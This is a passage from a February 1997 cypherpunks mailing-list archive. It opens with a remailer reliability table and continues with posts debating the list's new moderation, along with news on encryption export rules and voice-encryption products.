remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 3 Feb 97 6:48:17 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             #**#+*#**-#+     4:51 100.00%
dustbin  dustman@athensnet.com            ---+-------+  1:50:51  99.99%
weasel   config@weasel.owl.de             ++++--+++++   1:09:14  99.85%
lead     mix@zifi.genetics.utah.edu       ++--++++++++    50:42  99.80%
balls    remailer@huge.cajones.com        ###*###+-- #     5:45  99.62%
squirrel mix@squirrel.owl.de              ++++--+++ +   1:07:30  99.46%
cyber    alias@alias.cyberpass.net        +*+ *++++*++    40:43  99.23%
winsock  winsock@rigel.cyberpass.net      -----------   3:42:43  99.09%
lucifer  lucifer@dhp.com                  +   ++++++++    47:05  99.03%
exon     remailer@remailer.nl.com          ##### #* *#     2:02  98.68%
middle   middleman@jpunix.com             ++.--.- ---+  5:48:30  98.23%
haystack haystack@holy.cow.net            ***#*+# *#-+    15:27  97.21%
extropia remail@miron.vip.best.com        ------- .-    6:28:55  96.31%
replay   remailer@replay.com               *   +++-***    15:53  93.06%
reno     middleman@cyberpass.net          +--+     --+  1:20:32  91.27%
mix      mixmaster@remail.obscura.com     +-.-_-*+     14:45:36  77.02%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl12.crl.com>
Date: Mon, 3 Feb 1997 08:10:58 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031610.IAA26576@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 3 Feb 1997, Timothy C. May wrote:

> Unfortunately, Sandy responded to my post with his own flames ("piffle,"
> "disingenous," "straw man," etc.). Now he may well think his points are not
> flames becuase they are "true," but to me they take the form of flames.

But they are not ad hominem attacks on Tim May.  The are my
opinions of some of his arguments.  Even very smart people such
as Tim say poorly thought out or even silly things.  

> But then I have long disliked Sandy's method of argument. Nothing personal. But

Nor I, Tim's.  Nothing personal, but that's the point.  It is
still possible to conduct ourselves with mutual respect even if 
our views and styles differ.

> As Sandy did a too-common section-by-section disssection, I'll do the same
> for his comments.

After reading through Tim's post, I don't think much would be
served by doing another point by point response.  From Tim's
tone, it appears he is still seething about how this all came
about, so I'll just leave our two expressions of opinions where
they were.  I have no wish to exacerbate any hard feelings Tim
may be having.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Mon, 3 Feb 1997 08:41:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031641.IAA27154@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort writes:
[ . . . ]
 > On Sun, 2 Feb 1997, Timothy C. May wrote:
[ . . . ]
 > > Fourth, it sent a message to enemies of liberty that "Even the 
 > > Cypherpunks have found it necessary to abandon their anarchic
 > > ways."
 > 
 > That's one message that one could take from all this, I suppose.
 > I don't see it that way, nor do several list members who thanked 
 > me in private e-mail for improving the list.  Again, YMMV.

     This is the strongest point in Mr. May's essay, and it is not
easily dismissed as a difference in perspective.  I admit to looking
forward to the moderation experiment when it was announce; the noise
on the list was phenomenal even by cypherpunk standards.  My procmail
filters were approaching the level of complexity required for
self-awareness and the ASCII art still slipped through.  Plus, I
generally agree with Mr. Sandfort's positions.

     The point above demonstrates that support of the current solution
is not rationally justified.  Banning people from the list, however
ineffectually, and imposing moderation on the main list, rather than
offering another filtering service, does indeed support the thesis
that even a virtual anarchic society must resort to a central
authority to solve some problems.

     The moderation mechanism is the message.

 > What didn't work was "local filtering" which has no feed-back 
 > loop to engender comity.

     This is a strong rebuttal.  The primary affect of local filtering
is that posts which are filtered do not garner as many responses as
those which are not.  This feedback is swamped by the tendency of
filtered messages to generate flames from those who do not filter
them.

     Filtered sublists are a more effective technique, available to
non-technical subscribers as well.

     Some of the more advanced tools discussed here, such as
collaborative filtering, rating schemes, etc. have potential if the
ease-of-use barriers can be overcome.

     A cryptoanarchic solution, however, should be technical and
individual.  Centralized human moderation does not have the cypherpunk
nature.

Regards,

Patrick May







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 3 Feb 1997 07:12:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderat
Message-ID: <199702031512.HAA25754@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

 > ...and saw no point in wasting even more of my time arguing against the New
 > Cypherpunks World Order, as the NCWO was clearly presented as a fait
 > accompli, not something ablut which opinions of list members (or even list
 > _founders_, at least not me) were being sought.

 -=> Quoting In:sandfort@crl11.crl.com to Harka <=-

 In> Factual error #2.  There was a call for comment; Tim chose not to
 In> do so.  In retrospect, I wish we had run it by Tim, Eric and
 In> Hugh in more detail before making the annoucement, but we didn't.
 In> Certainly a tactical error and a breach of protocol, but not the
 In> end of the world.  Sorry Tim.  I should have spoken to you first.

Tactical error and breach of protocol, but not the end of the
world??
Very weak and dangerous argument. I already hear the Administration
saying: "Oh sorry, we didn't tell you about the new wiretaps
affecting 50 percent of all phone lines. Certainly a tactical error
and a breach of protocol, but HEY, it's _not_ the end of the world!
Plus, it's good for you!"

 > * But the really important issue is this: is the _physical hosting_ of the
 > Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
 > was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
 > these hosts to be the "owners" of the Cypherpunks group?...

 In> I think this is a Straw Man.  John and I have never argued that
 In> John "owns" cypherpunks.  When a Cypherpunk meeting is held in
 In> someone's living room, however, I don't think it's asking to much
 In> to ask everyone to follow the local rules (e.g., "no shoes in the
 In> house" or "no smoking" or even "no ad hominem attacks").  As Tim
 In> is fond of saying, "my house; my rules."  I don't think this
 In> means Tim "owns" a physical meeting in his house.

It really doesn't matter. I do agree, that having a meeting in,
let's say, your house, everybody has to submit to the "local rules",
i.e. no shoes, no smoking etc.. To avoid those rules means not to go
to that location.
However, any rules in a certain location do NOT affect speech. While
I may enforce the rule for people not to smoke in my house, I can't
enforce anything in regards to their speech. The mere try would be
counterproductice to having a meeting in the first place.
On a mailing list like this one, trying to enforce certain
_subjective_ standards is even more counterproductive, especially on
the self-proclaimed fore-front of liberty (Cypherpunks).
I do agree with TCM, that this is an argument for the very enemies
of free speech and neglecting the individual filtering-capabilities
of each subscriber.

 In> no evidence that it has made things worse.  Remember, there are a
 In> hand-full of subscribers to the Flames list, 20-30 on the
 In> Unedited list and *2000* or so on the Moderated list.  Sure some
 In> of that may be due to laziness, but it would be cavalier in the
 In> extreme to claim that such an overwhelming acceptance of
 In> moderation is merely an artifact of inertia.

Not necessarely. By subscribing the regular way: <subscribe
cypherpunks user@adress.com> one gets on the moderated list by
default. It might take (esp. new) people a while to realize, it's
moderated. And since it's Cypherpunks, they subscribed to, they
don't even _expect_ such things in the first place...
I'd do it vice versa, having them subscribe to unedited by default
and only if they make the effort (deliberate choice) to get on any
kind of moderated version, they can do so by sending a message to
majordomo.


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMvCiUzltEBIEF0MBAQHYGAf+In7n3Us+4g7GtHTlXynV5f1r1n0kF2/1
KCmMvng05kHUL9c2ucG/oVZAy821quvbbgQNGmEbpkbPQezCFLesWLSQ+SaA0XGm
KNC8PqjiqGVHyi0UonhE6z48j0tyt1pbgYFk15nm8pb2ejSR77suXGqDNYKabqu3
MsGnn/JFWlBEArvkSjnQ6Psgs9kqi+6DLsGlKhICkaRGj5/lTfvoLvdW183WqbAt
9SkpJBjBSTFSDc6IuC0oYWZnEvbVMO8KCkOJGjgOxYDCjh5kRzQn6lB2cKXmQmyH
KxAfMsTLcHV6AcFAONUKzp+TwaUcw2LA4Eu21NtD3bWo03JeHoCQLA==
=f+Ki
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Feb 1997 07:11:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: COM_int
Message-ID: <199702031511.HAA25741@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-2-97:

"Telecom equipment makers to develop encryption for mobile phones"

 Matsushita, NEC and Mitsubishi will cooperate in developing scrambler 
 technology to prevent interception of mobile phone calls and other 
 misuse, and will open a research laboratory in Yokohama on Feb. 12.
 Within five years the facility is to perfect encryption technology 
 to protect wireless communications and data transmissions, and for 
 possible use in electronic commerce. Researchers will work to develop 
 a mobile communications version of "public key" scrambling technology 
 now used to secure data transmitted online.

"Electronic Cash Via Wireless Phone, Smart Card In Works"

 Wireless telephones are about to get a new mission as portable money 
 machines. PacBell intends to test ways to blend its mobile phone 
 technology with a smart card that can dramatically upgrade the 
 intelligence of a wireless telephone. People on the go could transfer 
 funds into the card's memory, slide the card into the phone, and then 
 use the phone as a communications device to buy a variety of goods 
 and services.

"Sierra Wireless Combines Cellular Data, GPS; MP 200-GPS Modem 
Provides Both in a Single Package"

 The combination MP200-GPS product includes an MP200 rugged CDPD/cellular
 3-watt mobile modem, a state-of-the-art Trimble GPS receiver module and 
 a choice of magnetic mount or hard mount GPS active antennas. In addition, 
 the MP200-GPS includes an  internal microcontroller, so it can operate 
 without a PC or mobile data  terminal as a standalone tracking monitor. 
 A remote host computer can wirelessly program the unit to report position 
 on a preset timeout,  whenever the unit moves a certain distance, or if 
 an external alarm is triggered.

-----

COM_int







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Mon, 3 Feb 1997 08:10:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fortune, 3 Feb
Message-ID: <199702031610.IAA26568@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Big article in Fortune about e-mail privace.  One little paragraph
about encryption ("scrambling").  Fairly clue-free overall, but
entertaining.

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 12:11:17 -0800 (PST)
To: cryptography@c2.net
Subject: Re: Voice Encrytion/Scrambling
Message-ID: <199702032011.MAA01002@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:09 PM 2/2/97 -0800, Huge Cajones Remailer wrote:
>Can anyone comment on and give pointers to devices designed to
>encrypt voice transmission over POTS lines?  I am interested in 
>the respective sound qualities (if you've tried it) and
>relative strengths of encryption algorithms.

http://www.comsec.com/

Uses 2048 bit DH and 3DES. The voice quality is excellent.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 14:59:04 -0800 (PST)
To: sandfort@crl.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702032259.OAA05072@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



My main complaints about the `filtering' service forced upon the list
readership are that:

1. It was done to the main list!  If cypherpunks were left unchanged,
and a `cypherpunks-edited' were created I wouldn't have a problem, it
would be just another filtered list.  However there are already
several filtered lists, so the usefulness of this is limited anyway.
Merely including details of these filtered lists in the sign on
message, and posting a reminder every few weeks would suffice.  I and
apparently, most others didn't choose to subscribe to a filtering
service.  I object to this choice being over-ridden.  OK, so I can
re-subscribe to cypherpunks (cypherpunks-unedited), but many won't
bother.  (Actually I subscribe to cypherpunks-flames and cypherpunks,
as the most efficient way of receiving all messages, and still being
able to see the moderation results).

2. The impetus for moderating the main list seems to be as a result of
a few posts by Dimitri.  Really, if this is all it takes to destroy an
unmoderated list, I've got to laugh at cypherpunks collectively.  Why
is it such a big deal to press the `n' key, if you don't like what
Dimitri, or anyone else, has to say?  If your time is too valuable to
press `n' keys, what is wrong with subscribing to the existing
filtered lists?  Or with setting up a kill-file?  Or maybe generating
a bit of signal yourself?

3. It is even more funny that in my opinion Dimitri purposefully set
out to raise the issue of censorship (after his own partial
censorship), and has succeeded to this extent.  The whole thing is
just allowing yourself to be manipulated by his transparent efforts.

4. There is already a moderated forum for discussion of cypherpunks
issues: cryptography@c2.net, why do we need another one?

My vote is for renaming:

	`cypherpunks-unedited' -> `cypherpunks'
and	`cypherpunks' -> `cypherpunks-edited'

and for moving all those still on the edited list to the unedited
list.  Post a note advertising the availability of a new filtering
service called `cypherpunks-edited@toad.com', along with the
references to the other competing filtering services.

If at the end of the trial forced moderation period, John Gilmore
doesn't have the bandwidth on toad.com to support all of
`cypherpunks', `cypherpunks-edited' and `cypherpunks-flames', I
suggest that a new home is found for `cypherpunks'.  Or perhaps Sandy
as proponent of his filtering service, would be able to find a home
for `sandys-filtered-cypherpunks' service, as with the other filtering
services.

Personally, I am not in the habit of flaming people, or using the word
`fuck', in general discussion, but I find the way this `filtering
service' was foisted on the main list highly objectionable.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 12:11:54 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Filling Power Vacuums
Message-ID: <199702032011.MAA01084@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 6:57 AM -0800 2/3/97, Sandy Sandfort wrote:

>After reading through Tim's post, I don't think much would be
>served by doing another point by point response.  From Tim's
>tone, it appears he is still seething about how this all came
>about, so I'll just leave our two expressions of opinions where
>they were.  I have no wish to exacerbate any hard feelings Tim
>may be having.

Indeed, I have been seething for the past several weeks (off and on, as I
am fortunately able to usually put it out of my mind and do other things
with my mental energies....).

I think I have figured out why I'm seething.

It's about "power grabs."

You see, in any anarchic situation, where reliance on self-control and
self-filtering is emphasized, there is always a _temptation_ for some to
"fill the power vacuum" and grab power.

I learned in my years at Intel how easy it was to start bossing people
around, and as I hired engineers and scientists, I built up quite a little
empire. But I didn't like what it was doing to me, as it distanced me from
the technology and also brought out "control freak" tendencies....I started
worrying about how my people were using their time ("my" time), and I
increasingly applied my own notions of what they should talk about and what
were suitable topics for laboratory chatter. In other words, I became a
censor. (Not a government censor, but a censor in the broader definition
I've already cited.)

So I gave it up. Even before eventually retiring from Intel, I elected to
leave the management track and rejoin the "technical ladder," becoming one
of Intel's so-called Principal Engineers. No longer could I control others,
except through the example I set and the information I provided. And I was
happy I had moved away from "the dark side of the force."

(I accept the role hierarchies play in corporations. They can't be built
with just people like me. They need leaders, controllers, power freaks,
etc. But a virtual community like the Cypherpunks group is not such a
heirarchical organization, and it needs few rules, leaders, etc. "We don't
need no steenking leaders.")

As this relates to Cypherpunks, I have steadfastly refused to consider any
"management role," so to speak, in how the list is run, the formal
policies, etc. I'm not saying there has been a call for management (though
Detweiler used to rail against us for not having a management heirarchy,
for not having rules and democratic procedures for "making decisions"),
just that the power vacuum in anarchies such as ours is often an open
invitation for someone to step in and "provide structure and guidance." I
resisted any thoughts of doing this, and argued against this sort of thing
whenever the topic came up in conversation. I chose to lead only by the
posts I wrote and the ideas I worked on.

There have been frequent calls over the years for the Cypherpunks to have a
more permanent presence, perhaps even an office in Washington, D.C., such
as the EFF had, the CPSR still has, and so on. And to have an Official
Spokesman, a contact person for the media droids to contact. The calls for
this have declined in the last couple of years, as people figured out that
the Cypherpunks are not about having spokespunks for us, and that the media
will just have to deal with the "anarchy" of having to herd cats to get
information out of us.

Now, of course, the message is being sent that Sandy Sandfort is in some
sense the de facto leader, being that he determines what traffic goes out
to the main list and what traffic gets bounced into the flames list. In
fact, I'll make a prediction: The media will see that he is the chief
censor and arbiter of worthiness and will increasingly contact him for the
Official Point of View on various items they are interested in.

It distresses me greatly that Sandy Sandfort has elected to move into this
"power vacuum" to nominate himself as our Leader and Chief Censor. Foo on
that.

(I used to hear this at Intel, where the argument for a hierarchical
structure was much stronger, to wit: "Tim, if you won't agree to manage
others, you'll have to accept that people less technically competent than
yourself are going to  elect to become managers and they'll probably become
_your_ manager in the not too distant future.")

So, I sort of thank Sandy for helping me to realize certain things that I
may not have explicitly realized before.

Namely, I realize that I don't want the karmic burdens of power myself,
preferring to lead only by the example I set and the ideas I generate. This
is why "market anarchies" (books, music, ideas, all things where "no ruler"
exists) appeal to me so much. And since I don't wish to assume the mantle
of leadership, and don't see much need for leadership or global censorship
(as opposed to locally contracted for filtering, a la Eric Blossom's list,
or Siskel and Ebert giving recommendations, or ratings of restaurants,
etc.), I am resentful and suspicious of people who _do_ step into the
"power vacuum" to lead and control.

Now I grant you that Sandy's form of leadership and control is relatively
mild, but the very notion that Sandy can reject a long essay because of a
couple of phrasings he dislikes (this was his "judgment call" point about
why he (reluctantly?) allowed my post to go out) is a step in the wrong
direction.

And given our strong ideological bias toward market anarchies, this move
toward censorship stands out like a sore thumb.

At least the issue would be clearer if Sandy passed all posts through but
deleted sections that offended him and marked deleted sections as
"**CENSORED**."

Yes, I'm seething. Sandy is right about that. I saw a group I helped create
and spent thousands of hours on, writing articles and developing ideas
choose--by fiat from the owner of the machine the list was being sent out
from--to embrace the dark side, the control freak side. In the name of
"comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose
our ideological purity.

"Hey, even the Cypherpunks have embraced censorship."

Instead of letting the power vacuum remain unfilled, and suggesting to
people that they solve the problems it creates as best they can, Sandy
jumped in to fill the vacuum.

This is what I'm seething about. And even dropping the power grab at the
end of the "experiment" will not stop this seething.

Fuck it.

--Tim May


"



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Mon, 3 Feb 1997 08:11:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK cracking?
Message-ID: <199702031611.IAA26584@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just days after a U.S. graduate student cracked the most powerful
computer encryption system allowed out of the country, the Commerce
Department announced it would allow three companies to export an
even stronger system. 

Until this year, computer encryption programs, which scramble 
information and render it unreadable without a password or software 
"key," were classified as munitions and stronger programs could not 
be exported. 

But under a controversial new Clinton administration policy that took 
effect Jan. 1, companies may receive permission to export stronger 
programs. 

"I'm happy that we've been able to do this within the first month 
without rancor or difficulty," Under Secretary of Commerce for Export 
Administration William Reinsch told Reuters in a telephone interview. 

To export stronger programs immediately, companies must agree to 
incorporate features within two years allowing the government to 
decode encrypted messages by recovering the software keys, however. 

The administration's policy has been widely criticized as not 
relaxing the export limits enough and some companies feared the requirement 
for a two-year plan would substantially delay export approvals. 

The quick approvals should quell some of the criticism and encourage 
more applicants, Reinsch said. 

"As a result of this, you will have more companies taking it
seriously and we will expect more plans over the next couple of
months," he said. 

Encryption was once the realm of spies and generals. But with the
explosion of online commerce on the Internet, encryption has become
a vital tool for protecting everything from a business' email
message to a consumer's credit card number sent over the net. 

The amount of protection afforded by encryption is largely a function 
of the length of the software key measured in bits, the smallest unit of 
computer data. 

Companies said products with just 40-bit long keys, the old limit, 
were too easy to crack. The approvals came just days after Ian Goldberg, a 
graduate student at the University of California, cracked a message 
encoded with a software key 40-bits long. 

The government did not name the companies given permission to export 
stronger, 56-bit programs, but Glenwood, Md.,-based Trusted 
Information Systems acknowledged that it was one of the three. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Mon, 3 Feb 1997 12:11:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dissolving Choke Points
Message-ID: <199702032011.MAA01075@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I was amused by the similarities of USG crypto policy and the
moderation of the cypherpunks list.  Recently a number of new
regulations were announced to go into effect by a certain date.
Requests for comments were made after the policy was announced.  Many
of us thought that was pretty sneaky.  I feel the same way about the
moderation plan.

Moderation has been a failure.  I'm pretty good at filtering and I
can sadly report that there is very little signal out there.

There are lessons to be learned here.  One is that censorship does
not promote a stimulating and creative dialogue.  The cypherpunks list
right now is about as interesting as hanging out by the 7-11.

Another lesson is the danger of choke points.  We can see how
tempting it is for people to exercise their control.  Even John Gilmore
was unable to restrain himself from involuntary social engineering
experiments.  Who would we have considered to be more trustworthy?

Toad.com is a choke point, not just in terms of moderation but in
terms of the rate at which it can distribute messages.  Let's
replace it.

What we want are many machines carrying the cypherpunks list.  A
message posted to any machine goes to all of the others.  Each
machine sends messages to its subscribers only once.  Some of
these machines should be across borders.

The mail loop and multiple posting problems are solved by observing
the message IDs.

Fast implementation: use moderated mailing list software.  Put a
filter in the .forward file of the "moderator" account which looks
at the message ID and forwards the message if it hasn't been seen
already.  The mailing list machines all subscribe each other.

I've been looking for a stable machine with a good net connection to
do this.  I haven't found one.  However, if we have many machines
sharing the load, the stability of any one unit is not as important
because the list will survive multiple "hits".  Only the subscribers
on one machine will be affected by having their messages delayed.
This greatly reduces the work and responsibility for any one list
operator.  (As John will attest, keeping a machine running 24 hours a
day, 7 days a week, rain or shine, is a lot of work.)

Also, with multiple machines, each unit handles a small amount of the
load.  This makes more machines available and has less impact on
people's net connections.

Last I checked, there were about 1200 addresses on the mailing list at
toad.com.  All we need are about 10 machines to take 120 subscribers
each.  (This is a completely manageable load.)

Do you have a Unix machine on the Net?  Does it have sendmail and
Perl?  Then you have all that it takes to participate.  Send me
mail and I'll help you set it up.

Peter Hendrickson
ph@netcom.com

P.S. I like and respect John and Sandy and I've learned a lot from
both of them.  While basically well-intentioned, they just made a
mistake in this instance.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Feb 1997 08:41:13 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: PCS Encryption?
Message-ID: <199702031641.IAA27146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>	I was under the impression that Fortezza was ok for classified
>traffic.  Did I miss the changeover, was it unannounced, or was I
>simply misremembering?

Fortezza now comes in several implementations for various, variable
and multiple levels of classification and message handling. There is info on 
latest mani-dexterous products at NSA's armadillo and missi sites.

If you don't want to be logged by NSA, see the Mykronyx bouquet at:

   http://jya.com/fortezza.htm

To be sure, you might get logged anyway: jya.com may have been
approved by the Administrative Office of the United States Courts for a 
snoop.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eldon Jenkins <EJENKINS@mhz.com>
Date: Mon, 3 Feb 1997 12:11:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: My Departure, Moderation, and "Ownership of the List" -Reply
Message-ID: <199702032011.MAA01019@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy, I've been a member of this list off and on for the past few years. 
In reading this list daily for quite some time I feel that the filtering you are
doing has made quite a substantial and positive change.  Normally I
would spend an hour or so at work filtering through the list deleting
endless threads of nonsense just so I could glean the valuable
information that is hidden in midst of the mindless chatter.  Now the time I
spend searching for information has been drastically reduced and I
would like to thank you for this.  While I am against censorship and
moderation whole-heartedly I see this as a different case.  You are not
preventing anyone from posting, you just sort the posts and place them
in their appropriate list.  I see your efforts as more of an organizing
project rather then censorship.  I would love to see the list continue to be
moderated.  Just my two cents though.

Eldon Jenkins
USRobotics
Programmer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Mon, 3 Feb 1997 09:42:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031742.JAA28108@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


on or about:  Sun, 2 Feb 1997 14:51:47 -0800

in a message allegedly from:  "Timothy C. May" <tcmay@got.net>

{snip}

> the really important issue is this: is the _physical hosting_ of the
> Cypherpunks mailing list coterminous with the "Cypherpunks"? 

{ much thoughtful and well-phrased commentary elided }

> I would have had no problem had John announced that he was creating
> a new list, the "Good Stuff" list, with Sandy has his Chooser of
> Good Stuff.

> But by making the _main list_ the censored one, this skewed things
> considerably.

> * Why, many reasonable people may ask, did I not simply unsubscribe
> from the "Cypherpunks" list and subscribe to the"Cypherpunks-Unedited) 
>(or whatever it is called) list? Because of my overall anger 

> But the clear message by having Sandy censor the
> main list (the default list, the list name with the main name, the
> list we all know about, etc.) 
{snip}

Now that the horse is out of the barn, ( or maybe not? ), I can't help
but ask whether one specific 'change to the change' would have
satisfied most of your objections:  retaining 'cypherpunks' as the
name of the unedited, all-the-crud-you-can-read-and-then-some,
version, and adding an 'cp-worthwhile' list for those of us who prefer
not to wade thru mountains of garbage to glean a few precious tidbits.

What's in a name?  Is perception more important ( to you ) than 
reality?  If just swapping names between cp and cp-unedited would make
such a large difference, I humbly suggest to you that you consider how
much labels need to matter.  Is the title of the group more important
the the content?  From where I sit, this looks a lot like a
style-over-substance complaint.  Of course, I don't have my trifocals
on just at the moment.

It may also be worth noting that the current 'status quo' is a 
transient experiment, with a fairly short time limit.  When JG, 
Sandy, et al. evaluate the results with an eye to future 
direction(s), they may well consider an 'inverted default' for the two
list names (i.e.:  cp / cp-unedited)

In any event, please accept my .02 in the spirit in which it is 
intended ( constructive criticism ).

/* */






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 12:11:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation [Tim,Sandy]
Message-ID: <199702032011.MAA01053@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Since it seems to be the topic of the day, here are some of my thoughts on
moderating CP.

o Moderation achieved what it could achieve. Spam is no longer clogging up
